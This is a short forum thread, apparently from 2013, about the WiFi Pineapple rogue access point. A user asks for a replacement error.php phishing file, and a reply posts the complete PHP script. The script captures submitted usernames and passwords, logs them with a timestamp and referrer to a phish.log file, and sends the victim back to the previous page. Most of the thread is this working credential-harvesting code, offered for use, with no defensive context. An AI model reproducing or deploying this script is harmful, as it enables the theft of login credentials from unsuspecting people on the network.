Jaden Posted March 17, 2013 Share Posted March 17, 2013 So ive been playing around with my new wifi pineapple. I'm very interested in learning the in's and outs and hope to reach out to everyone on the forums who have something to share. With that being said I am setting up my phishing files and (Stupid me) wrote my redirect.php verbiage on my error.php file. Not creating a back up I am hoping someone can SCP into their pineapple www folder and copy and paste everything in their error.php in the this topic so I can edit my file. The other option is if someone can send me a copy of their file or at least direct me to where I can get the material myself. Thanks for your help. Quote Link to post Share on other sites
Solution Boba Fett Posted March 18, 2013 Solution Share Posted March 18, 2013 <?php $ref = $_SERVER['HTTP_REFERER']; $today = date("F j, Y, g:i a"); if (isset($_POST['name']) && !empty($_POST['name'])) { $nam = stripslashes($_POST['name']); $pas = stripslashes($_POST['pass']); $nam = htmlspecialchars($nam, ENT_QUOTES); $pas = htmlspecialchars($pas, ENT_QUOTES); $content = $today . " -- " . $ref . " -- " . $nam . " -- " . $pas; $filed = @fopen("/pineapple/logs/phish.log", "a+"); @fwrite($filed, "$content\n"); @fclose($filed); } ?> <html><head> <script type="text/javascript"> function goBack() { window.history.back() } </script> </head> <body onload="goBack()"> </body></html> Here you go. Firmware 2.8.0 Quote Link to post Share on other sites
Jaden Posted March 18, 2013 Author Share Posted March 18, 2013 Thank you Hak5 Zombie! Quote Link to post Share on other sites
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.